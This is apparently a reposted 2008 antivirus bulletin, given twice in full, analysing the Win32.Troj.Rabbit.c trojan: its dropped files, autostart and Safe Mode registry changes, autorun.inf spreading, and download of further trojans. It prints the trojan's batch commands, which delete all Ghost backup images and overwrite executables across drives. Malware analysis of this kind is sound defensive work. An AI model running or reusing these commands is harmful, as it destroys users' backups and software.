| 订阅 | 在线投稿
分享
 
 
 

Win32.Troj.Rabbit.c

来源:互联网  宽屏版  评论
2008-08-14 22:52:23

病毒名称(中文):

病毒别名:

威胁级别:

★☆☆☆☆

病毒类型:

木马程序

病毒长度:

192099

影响系统:

Win9xWinMeWinNTWin2000WinXPWin2003

病毒行为:

该病毒是一个木马。该病毒会直接替换系统盘programfiles和其他盘目录下的exe文件文件和删除gho备份文件,同时该病毒还有下载并运行一灰鸽子病毒。

1、生成的文件

%SystemRoot%\system32\loveRabbit~.exe

%SystemRoot%\system32\MS006TZ.dll.exe

%SystemRoot%\system32\Rabbit.exe

%SystemRoot%\ILTZ.bat

%SystemRoot%\IOTZ.bat

%SystemRoot%\DLL.bat

%SystemRoot%\GHO.bat

%SystemRoot%\ILTZ.inf

%SystemRoot%\system32\JK~.exe

%SystemRoot%\system32\msexch400.dll

%SystemRoot%\system32\sha~.bat

%C:%\Rabbit.exe

%C:%\AutoRun.inf

2、添加启动项

HKLM\SOFTWARE\Microsoft\ActiveSetup\InstalledComponents\{4bf41072-b2b1-21c1-b5c1-0305f4155515}"StubPath"="%SystemRoot%\system32\JK~.exe"

3、删除以下键:

SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\{4D36E967-E325-11CE-BFC1-08002BE10318}

SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E967-E325-11CE-BFC1-08002BE10318}

4、执行%SystemRoot%\ILTZ.bat文件,将d到z盘的exe文件路径记录在ILTZ.inf文件,将c盘到z盘的ghost备份文件路径记录到GHO.inf文件和将系统盘下programfiles目录下的exe文件路径记录在IOTZ.inf文件

---------------------------------------------------------

set/Ar=%random%

FOR%%ain(d:e:f:g:h:i:j:k:l:m:n:o:p:q:r:s:t:u:v:w:s:y:z:)dodir/s/b%%a\*.exe>>%windir%\ILTZ.inf

FOR%%ain(c:d:e:f:g:h:i:j:k:l:m:n:o:p:q:r:s:t:u:v:w:s:y:z:)dodir/a:-/b%%a\*.gho>>%windir%\GHO.inf

cd%windir%

cd..

cdProgramFiles

dir*.exe/s/b>>%windir%\IOTZ.inf

IOTZ.bat

GHO.bat

----------------------------------------------------------

5、执行GHO.bat,IOTZ.bat文件删除GHO.inf里指定的路径的gho文件和替换ILTZ.inf,IOTZ.inf指定路径的exe文件

GHO.bat>

----------------------------------------------------------------

FOR/f"delims="%%iin(%windir%\GHO.inf)dodel/a:-"%%i"

----------------------------------------------------------------

IOTZ.bat>

------------------------------------------------------------------------------------------

FOR/f"delims="%%iin(%windir%\ILTZ.inf)docopy/y%windir%\system32\Rabbit.exe"%%i"

FOR/f"delims="%%iin(%windir%\IOTZ.inf)docopy/y%windir%\system32\Rabbit.exe"%%i"

------------------------------------------------------------------------------------------

6、在c,d,e,f,g,h盘里生成autorun启动

------------------------------------

[autorun]

Label=本地磁盘

Shellexecute=Rabbit.exe

------------------------------------

7、下载并执行http://www.beecool.***/help.htm脚本,该脚本会下执行载最新版变种和一灰鸽子木马。

病毒名称(中文): 病毒别名: 威胁级别: ★☆☆☆☆ 病毒类型: 木马程序 病毒长度: 192099 影响系统: Win9xWinMeWinNTWin2000WinXPWin2003 病毒行为: 该病毒是一个木马。该病毒会直接替换系统盘programfiles和其他盘目录下的exe文件文件和删除gho备份文件,同时该病毒还有下载并运行一灰鸽子病毒。 1、生成的文件 %SystemRoot%\system32\loveRabbit~.exe %SystemRoot%\system32\MS006TZ.dll.exe %SystemRoot%\system32\Rabbit.exe %SystemRoot%\ILTZ.bat %SystemRoot%\IOTZ.bat %SystemRoot%\DLL.bat %SystemRoot%\GHO.bat %SystemRoot%\ILTZ.inf %SystemRoot%\system32\JK~.exe %SystemRoot%\system32\msexch400.dll %SystemRoot%\system32\sha~.bat %C:%\Rabbit.exe %C:%\AutoRun.inf 2、添加启动项 HKLM\SOFTWARE\Microsoft\ActiveSetup\InstalledComponents\{4bf41072-b2b1-21c1-b5c1-0305f4155515}"StubPath"="%SystemRoot%\system32\JK~.exe" 3、删除以下键: SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\{4D36E967-E325-11CE-BFC1-08002BE10318} SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E967-E325-11CE-BFC1-08002BE10318} 4、执行%SystemRoot%\ILTZ.bat文件,将d到z盘的exe文件路径记录在ILTZ.inf文件,将c盘到z盘的ghost备份文件路径记录到GHO.inf文件和将系统盘下programfiles目录下的exe文件路径记录在IOTZ.inf文件 --------------------------------------------------------- set/Ar=%random% FOR%%ain(d:e:f:g:h:i:j:k:l:m:n:o:p:q:r:s:t:u:v:w:s:y:z:)dodir/s/b%%a\*.exe>>%windir%\ILTZ.inf FOR%%ain(c:d:e:f:g:h:i:j:k:l:m:n:o:p:q:r:s:t:u:v:w:s:y:z:)dodir/a:-/b%%a\*.gho>>%windir%\GHO.inf cd%windir% cd.. cdProgramFiles dir*.exe/s/b>>%windir%\IOTZ.inf IOTZ.bat GHO.bat ---------------------------------------------------------- 5、执行GHO.bat,IOTZ.bat文件删除GHO.inf里指定的路径的gho文件和替换ILTZ.inf,IOTZ.inf指定路径的exe文件 GHO.bat> ---------------------------------------------------------------- FOR/f"delims="%%iin(%windir%\GHO.inf)dodel/a:-"%%i" ---------------------------------------------------------------- IOTZ.bat> ------------------------------------------------------------------------------------------ FOR/f"delims="%%iin(%windir%\ILTZ.inf)docopy/y%windir%\system32\Rabbit.exe"%%i" FOR/f"delims="%%iin(%windir%\IOTZ.inf)docopy/y%windir%\system32\Rabbit.exe"%%i" ------------------------------------------------------------------------------------------ 6、在c,d,e,f,g,h盘里生成autorun启动 ------------------------------------ [autorun] Label=本地磁盘 Shellexecute=Rabbit.exe ------------------------------------ 7、下载并执行http://www.beecool.***/help.htm脚本,该脚本会下执行载最新版变种和一灰鸽子木马。
󰈣󰈤
 
 
 
>>返回首页<<
 
 热帖排行
 
 
王朝网络微信公众号
微信扫码关注本站公众号wangchaonetcn
 
 
静静地坐在废墟上,四周的荒凉一望无际,忽然觉得,凄凉也很美
©2005- 王朝网络 版权所有